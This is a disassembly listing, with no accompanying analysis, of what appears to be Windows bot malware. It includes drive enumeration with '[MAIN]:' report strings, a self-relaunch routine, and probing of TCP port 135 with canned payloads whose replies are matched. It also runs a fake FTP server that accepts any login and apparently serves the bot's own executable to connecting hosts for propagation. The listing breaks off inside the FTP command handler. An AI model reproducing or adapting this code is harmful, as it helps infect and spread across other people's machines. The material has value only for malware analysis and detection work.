var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43349C
		test	eax, eax
		jz	short loc_40252A
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_40252A:				; CODE XREF: sub_4024F5+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4024F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40253D	proc near		; CODE XREF: sub_402658+17p
					; sub_40FE1F+1BDp

var_1B0		= byte ptr -1B0h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= byte ptr -30h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_4024F5
		pop	ecx
		pop	ecx
		push	6
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_402615
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_402615
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_402615
		push	ebx
		push	0
		mov	ebx, 400h
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_4135A0
		push	edx
		push	eax
		call	sub_402439
		push	eax
		mov	edi, offset aSkb ; "%sKB"
		push	edi
		mov	esi, 80h
		lea	eax, [ebp+var_1B0]
		push	esi
		push	eax
		call	sub_412E0D
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4135A0
		push	edx
		push	eax
		call	sub_402439
		push	eax
		push	edi
		lea	eax, [ebp+var_130]
		push	esi
		push	eax
		call	sub_412E0D
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_4135A0
		push	edx
		push	eax
		call	sub_402439
		push	eax
		push	edi
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_412E0D
		add	esp, 18h
		pop	ebx
		jmp	short loc_402644
; ---------------------------------------------------------------------------


loc_402615:				; CODE XREF: sub_40253D+2Cj
					; sub_40253D+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_1B0]
		push	esi
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_130]
		push	esi
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_412BB5
		add	esp, 18h


loc_402644:				; CODE XREF: sub_40253D+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_1B0]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40253D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402658	proc near		; CODE XREF: sub_402717+Bj
					; sub_402717+51p

var_500		= byte ptr -500h
var_380		= byte ptr -380h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_500]
		push	ebx
		push	eax
		call	sub_40253D
		pop	ecx
		pop	ecx
		push	60h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_180]
		rep movsd
		push	7
		mov	edi, offset aFailed ; "failed"
		lea	esi, [ebp+var_80]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_4026B8
		push	ebx
		push	ebx
		call	sub_4024AC
		pop	ecx
		push	eax
		push	offset aMainSDriveSFai ; "[MAIN]: %s Drive (%s): Failed	to stat, "...
		lea	eax, [ebp+var_380]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 14h
		jmp	short loc_4026EC
; ---------------------------------------------------------------------------


loc_4026B8:				; CODE XREF: sub_402658+3Aj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4024AC
		pop	ecx
		push	eax
		push	offset aMainSDriveSSTo ; "[MAIN]: %s Drive (%s): %s total, %s fre"...
		lea	eax, [ebp+var_380]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 20h


loc_4026EC:				; CODE XREF: sub_402658+5Ej
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_380]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		lea	eax, [ebp+var_380]
		push	eax
		call	sub_401C33
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402658	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402717	proc near		; CODE XREF: sub_4078FA+4268p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_C], eax
		jz	short loc_402727
		pop	ebp
		jmp	sub_402658
; ---------------------------------------------------------------------------


loc_402727:				; CODE XREF: sub_402717+8j
		push	ebx
		push	esi
		push	eax
		push	eax
		call	dword_43353C	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_41344D
		pop	ecx
		mov	ebx, eax
		push	ebx
		push	esi
		mov	[ebp+arg_C], ebx
		call	dword_43353C	; GetLogicalDriveStringsA
		cmp	byte ptr [ebx],	0
		jz	short loc_40278A
		push	edi


loc_40274E:				; CODE XREF: sub_402717+6Dj
		push	4
		mov	edi, offset aA	; "A:\\"
		mov	esi, ebx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_402770
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402658
		add	esp, 10h


loc_402770:				; CODE XREF: sub_402717+45j
		mov	eax, ebx
		lea	edx, [eax+1]


loc_402775:				; CODE XREF: sub_402717+63j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_402775
		sub	eax, edx
		lea	ebx, [ebx+eax+1]
		cmp	[ebx], cl
		jnz	short loc_40274E
		mov	ebx, [ebp+arg_C]
		pop	edi


loc_40278A:				; CODE XREF: sub_402717+34j
		push	ebx
		call	sub_412FE4
		pop	ecx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_402717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402795	proc near		; DATA XREF: sub_40D1EF+14o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_434344
		call	dword_4335AC	; closesocket
		call	sub_41105B
		call	dword_4335B8	; WSACleanup
		call	dword_4335B8	; WSACleanup
		mov	ebx, ds:dword_41F000
		push	64h
		call	ebx	; Sleep
		xor	eax, eax
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		push	11h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_54]
		rep stosd
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_158]
		xor	edi, edi
		push	eax
		mov	[ebp+var_48], (offset asc_41FA74+2)
		mov	[ebp+var_54], 44h
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	ds:dword_41F040	; GetSystemDirectoryA
		push	esi
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		call	ds:dword_41F010	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_158]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		push	edi
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		call	ds:dword_41F030	; CreateProcessA
		test	eax, eax
		jz	short loc_402854
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, ds:dword_41F034
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_402854:				; CODE XREF: sub_402795+A9j
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_432FEC
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_41F02C	; ExitProcess
		int	3		; Trap to Debugger
sub_402795	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402875	proc near		; CODE XREF: sub_4028A8+11Cp
					; sub_4028A8+145p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_4]
		sub	edx, [ebp+arg_C]
		push	ebx
		push	esi
		xor	eax, eax
		test	edx, edx
		push	edi
		jle	short loc_40289D


loc_402887:				; CODE XREF: sub_402875+26j
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		mov	edi, [ebp+arg_8]
		add	esi, eax
		xor	ebx, ebx
		repe cmpsb
		jz	short loc_4028A4
		inc	eax
		cmp	eax, edx
		jl	short loc_402887


loc_40289D:				; CODE XREF: sub_402875+10j
		xor	al, al


loc_40289F:				; CODE XREF: sub_402875+31j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4028A4:				; CODE XREF: sub_402875+21j
		mov	al, 1
		jmp	short loc_40289F
sub_402875	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4028A8	proc near		; CODE XREF: .text:00412172p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_412DD0
		mov	eax, [ebp+arg_4]
		dec	eax
		jz	short loc_4028E5
		dec	eax
		jz	short loc_4028C3
		dec	eax
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4028C3:				; CODE XREF: sub_4028A8+14j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_433514	; inet_addr
		push	eax
		call	sub_4015FE
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		leave
		retn
; ---------------------------------------------------------------------------


loc_4028E5:				; CODE XREF: sub_4028A8+11j
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		call	dword_4334A0	; socket
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		xor	eax, eax
		cmp	esi, ebx
		mov	[ebp+arg_4], esi
		jz	loc_402A0A
		push	edi
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		push	87h
		mov	[ebp+var_10], 2
		call	dword_4335EC	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_406B1D
		pop	ecx
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_433458	; connect
		cmp	eax, ebx
		jz	short loc_402954
		xor	edi, edi
		push	edi
		push	48h
		push	offset dword_42A368
		push	esi
		call	dword_433534	; send
		cmp	eax, ebx
		jnz	short loc_40295B


loc_402954:				; CODE XREF: sub_4028A8+95j
					; sub_4028A8+CCj ...
		xor	esi, esi
		jmp	loc_4029FE
; ---------------------------------------------------------------------------


loc_40295B:				; CODE XREF: sub_4028A8+AAj
		push	edi
		mov	esi, 2000h
		push	esi
		lea	eax, [ebp+var_2010]
		push	eax
		push	[ebp+arg_4]
		call	dword_433414	; recv
		cmp	eax, ebx
		jz	short loc_402954
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_402954
		push	edi
		push	18h
		push	offset dword_42A3B4
		push	[ebp+arg_4]
		call	dword_433534	; send
		cmp	eax, ebx
		jz	short loc_402954
		push	edi
		push	esi
		lea	eax, [ebp+var_2010]
		push	eax
		push	[ebp+arg_4]
		call	dword_433414	; recv
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_402954
		cmp	[ebp+var_200E],	2
		jnz	short loc_402954
		push	10h
		push	offset loc_42A3D0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_402875
		add	esp, 10h
		test	al, al
		jz	short loc_4029DE
		xor	eax, eax
		cmp	esi, 12Ch
		setnl	al
		inc	eax
		jmp	short loc_4029FC
; ---------------------------------------------------------------------------


loc_4029DE:				; CODE XREF: sub_4028A8+126j
		push	10h
		push	offset dword_42A3E4
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_402875
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3


loc_4029FC:				; CODE XREF: sub_4028A8+134j
		mov	esi, eax


loc_4029FE:				; CODE XREF: sub_4028A8+AEj
		push	[ebp+arg_4]
		call	dword_4335AC	; closesocket
		mov	eax, esi
		pop	edi


loc_402A0A:				; CODE XREF: sub_4028A8+57j
		pop	esi
		pop	ebx
		leave
		retn
sub_4028A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A0E	proc near		; CODE XREF: sub_402B1D+4A2p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_41F1EC
		push	0
		push	1
		push	2
		call	ds:dword_41F1F0
		push	[ebp+arg_0]
		mov	dword_432FF0, eax
		mov	[ebp+var_10], 2
		call	ds:dword_41F1F4
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_41F204
		mov	[ebp+var_E], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	dword_432FF0
		call	ds:dword_41F1F8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402A86
		push	dword_432FF0
		call	ds:dword_41F1FC
		call	ds:dword_41F200
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_402A86:				; CODE XREF: sub_402A0E+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_402A0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A8B	proc near		; CODE XREF: sub_402B1D+4AEp

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	ds:dword_41F010	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_41F968
		push	eax
		call	sub_413393
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jnz	short loc_402AF8
		jmp	short loc_402B1A
; ---------------------------------------------------------------------------


loc_402AC4:				; CODE XREF: sub_402A8B+72j
		push	400h
		lea	eax, [ebp+var_504]
		push	1
		push	eax
		call	sub_41313E
		add	esp, 10h
		push	0
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	dword_432FF0
		call	ds:dword_41F1E8
		push	0Ah
		call	ds:dword_41F000	; Sleep


loc_402AF8:				; CODE XREF: sub_402A8B+35j
		test	byte ptr [esi+0Ch], 10h
		push	esi
		jz	short loc_402AC4
		call	sub_412F93
		pop	ecx
		push	dword_432FF0
		call	ds:dword_41F1FC
		call	ds:dword_41F200
		xor	eax, eax
		inc	eax


loc_402B1A:				; CODE XREF: sub_402A8B+37j
		pop	esi
		leave
		retn
sub_402A8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_402B1D	proc near		; DATA XREF: sub_401141+254o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0A6Ch
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		xor	ebx, ebx
		inc	ebx
		mov	ecx, 0A9h
		lea	edi, [ebp+74h+var_6DC]
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+74h+var_A6C]
		push	eax
		xor	esi, esi
		push	101h
		mov	[ebp+74h+var_18], ebx
		mov	[ebp+74h+var_1C], ebx
		mov	[ebp+74h+var_228], esi
		mov	[ebp+74h+var_438], esi
		call	ds:dword_41F1EC
		push	esi
		call	sub_413820
		push	eax
		call	sub_412D64
		mov	eax, [ebp+74h+arg_0]
		mov	eax, [eax+214h]
		pop	ecx
		pop	ecx
		push	esi
		push	ebx
		push	2
		mov	dword_432FF4, eax
		call	ds:dword_41F1F0
		mov	ebx, eax
		push	4
		lea	eax, [ebp+74h+var_18]
		push	eax
		push	4
		push	0FFFFh
		push	ebx
		mov	[ebp+74h+var_8], ebx
		call	ds:dword_41F1C8
		lea	eax, [ebp+74h+var_1C]
		push	eax
		push	8004667Eh
		push	ebx
		call	ds:dword_41F1CC
		xor	eax, eax
		mov	ax, word ptr dword_432FF4
		mov	[ebp+74h+var_38], 2
		mov	[ebp+74h+var_34], esi
		push	eax
		call	ds:dword_41F204
		mov	[ebp+74h+var_36], ax
		push	10h
		lea	eax, [ebp+74h+var_38]
		push	eax
		push	ebx
		call	ds:dword_41F1D0
		test	eax, eax
		jl	loc_4030B7
		push	0Ah
		push	ebx
		call	ds:dword_41F1D4
		push	41h
		pop	ecx
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+74h+var_438]
		mov	[ebp+74h+var_224], ebx
		mov	[ebp+74h+var_4], ebx
		push	eax
		inc	ebx
		lea	esi, [ebp+74h+var_228]
		lea	edi, [ebp+74h+var_438]
		mov	[ebp+74h+var_228], 1
		push	ebx
		rep movsd
		call	ds:dword_41F1D8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4030B7
		mov	ebx, ds:dword_41F1E8


loc_402C3C:				; CODE XREF: sub_402B1D+594j
		xor	esi, esi
		cmp	[ebp+74h+var_4], esi
		mov	[ebp+74h+arg_0], esi
		jl	loc_403086


loc_402C4A:				; CODE XREF: sub_402B1D+563j
		push	19h
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+74h+var_29C]
		rep stosd
		pop	ecx
		lea	edi, [ebp+74h+var_AC]
		rep stosd
		lea	eax, [ebp+74h+var_438]
		push	eax
		push	esi
		call	sub_41E8A0
		test	eax, eax
		jz	loc_403079
		cmp	esi, [ebp+74h+var_8]
		jnz	short loc_402CE4
		push	10h
		pop	edi
		lea	eax, [ebp+74h+var_24]
		push	eax
		lea	eax, [ebp+74h+var_238]
		push	eax
		push	[ebp+74h+var_8]
		mov	[ebp+74h+var_24], edi
		call	ds:dword_41F1E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_403079
		mov	edx, [ebp+74h+var_228]
		xor	ecx, ecx
		test	edx, edx
		jbe	short loc_402CB6


loc_402CA8:				; CODE XREF: sub_402B1D+197j
		cmp	[ebp+ecx*4+74h+var_224], eax
		jz	short loc_402CB6
		inc	ecx
		cmp	ecx, edx
		jb	short loc_402CA8


loc_402CB6:				; CODE XREF: sub_402B1D+189j
					; sub_402B1D+192j
		cmp	ecx, edx
		jnz	short loc_402CCC
		cmp	edx, 40h
		jnb	short loc_402CCC
		mov	[ebp+ecx*4+74h+var_224], eax
		inc	[ebp+74h+var_228]


loc_402CCC:				; CODE XREF: sub_402B1D+19Bj
					; sub_402B1D+1A0j
		cmp	eax, [ebp+74h+var_4]
		jle	short loc_402CD4
		mov	[ebp+74h+var_4], eax


loc_402CD4:				; CODE XREF: sub_402B1D+1B2j
		push	0
		push	edi
		push	offset a220Winftpd1_2 ;	"220 WinFtpd 1.2\n"
		push	eax
		call	ebx
		jmp	loc_403079
; ---------------------------------------------------------------------------


loc_402CE4:				; CODE XREF: sub_402B1D+15Aj
		push	0
		push	64h
		lea	eax, [ebp+74h+var_29C]
		push	eax
		push	esi
		call	ds:dword_41F1E4
		test	eax, eax
		jg	short loc_402D42
		mov	ecx, [ebp+74h+var_228]
		xor	eax, eax
		test	ecx, ecx
		jbe	short loc_402D36


loc_402D06:				; CODE XREF: sub_402B1D+1F5j
		cmp	[ebp+eax*4+74h+var_224], esi
		jz	short loc_402D2B
		inc	eax
		cmp	eax, ecx
		jb	short loc_402D06
		jmp	short loc_402D36
; ---------------------------------------------------------------------------


loc_402D16:				; CODE XREF: sub_402B1D+211j
		mov	ecx, [ebp+eax*4+74h+var_220]
		mov	[ebp+eax*4+74h+var_224], ecx
		mov	ecx, [ebp+74h+var_228]
		inc	eax


loc_402D2B:				; CODE XREF: sub_402B1D+1F0j
		dec	ecx
		cmp	eax, ecx
		jb	short loc_402D16
		dec	[ebp+74h+var_228]


loc_402D36:				; CODE XREF: sub_402B1D+1E7j
					; sub_402B1D+1F7j
		push	esi
		call	ds:dword_41F1FC
		jmp	loc_403079
; ---------------------------------------------------------------------------


loc_402D42:				; CODE XREF: sub_402B1D+1DBj
		lea	eax, [ebp+74h+var_334]
		push	eax
		lea	eax, [ebp+74h+var_AC]
		push	eax
		lea	eax, [ebp+74h+var_29C]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_412D93
		add	esp, 10h
		push	5
		pop	edx
		mov	edi, offset aUser_0 ; "USER"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402D81
		push	eax
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402D81:				; CODE XREF: sub_402B1D+255j
		mov	edi, offset aPass ; "PASS"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402D9E
		push	eax
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402D9E:				; CODE XREF: sub_402B1D+272j
		mov	edi, offset aSyst ; "SYST"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402DBB
		push	eax
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402DBB:				; CODE XREF: sub_402B1D+28Fj
		mov	edi, offset aRest ; "REST"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402DD8
		push	eax
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402DD8:				; CODE XREF: sub_402B1D+2ACj
		push	4
		mov	edi, offset off_41FE14
		lea	esi, [ebp+74h+var_AC]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402DF6
		push	eax
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402DF6:				; CODE XREF: sub_402B1D+2CAj
		mov	eax, offset aType ; "TYPE"
		mov	ecx, edx
		mov	edi, eax
		lea	esi, [ebp+74h+var_AC]
		xor	edx, edx
		repe cmpsb
		jnz	short loc_402E29
		push	2
		mov	edi, offset aA_0 ; "A"
		lea	esi, [ebp+74h+var_334]
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_402E29
		push	edx
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402E29:				; CODE XREF: sub_402B1D+2E9j
					; sub_402B1D+2FDj
		mov	edi, eax
		push	5
		pop	eax
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		jnz	short loc_402E5A
		push	2
		mov	edi, offset aI	; "I"
		lea	esi, [ebp+74h+var_334]
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_402E5A
		push	edx
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402E5A:				; CODE XREF: sub_402B1D+31Aj
					; sub_402B1D+32Ej
		mov	edi, offset aPasv ; "PASV"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		jnz	short loc_402E99
		push	0Ah
		pop	ecx
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		lea	edi, [ebp+74h+var_124]
		rep movsd
		lea	eax, [ebp+74h+var_124]
		movsw
		lea	edx, [eax+1]


loc_402E85:				; CODE XREF: sub_402B1D+36Dj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_402E85
		sub	eax, edx
		push	0
		push	eax
		lea	eax, [ebp+74h+var_124]
		jmp	short loc_402ECD
; ---------------------------------------------------------------------------


loc_402E99:				; CODE XREF: sub_402B1D+34Bj
		mov	edi, offset aList ; "LIST"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		mov	ecx, eax
		jnz	short loc_402ED3
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		lea	edi, [ebp+74h+var_C4]
		rep movsd
		movsw
		lea	eax, [ebp+74h+var_C4]
		movsb
		lea	edx, [eax+1]


loc_402EBE:				; CODE XREF: sub_402B1D+3A6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_402EBE
		sub	eax, edx
		push	0
		push	eax
		lea	eax, [ebp+74h+var_C4]


loc_402ECD:				; CODE XREF: sub_402B1D+37Aj
		push	eax
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402ED3:				; CODE XREF: sub_402B1D+38Cj
		mov	edi, offset aPort ; "PORT"
		lea	esi, [ebp+74h+var_AC]
		xor	edx, edx
		repe cmpsb
		jnz	loc_402F97
		lea	eax, [ebp+74h+var_2D0]
		push	eax
		lea	eax, [ebp+74h+var_F8]
		push	eax
		lea	eax, [ebp+74h+var_28]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_14]
		push	eax
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_412D93
		lea	eax, [ebp+74h+var_F8]
		push	eax
		call	sub_412F42
		mov	esi, eax
		lea	eax, [ebp+74h+var_2D0]
		push	eax
		call	sub_412F42
		push	0Ch
		mov	edx, eax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+74h+var_F8]
		rep stosd
		push	edx
		push	esi
		stosw
		lea	eax, [ebp+74h+var_F8]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_412BB5
		push	10h
		lea	eax, [ebp+74h+var_F8]
		push	0
		push	eax
		call	sub_413809
		mov	[ebp+74h+var_10], eax
		add	esp, 44h
		lea	eax, [ebp+74h+var_28]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_14]
		push	eax
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_48]
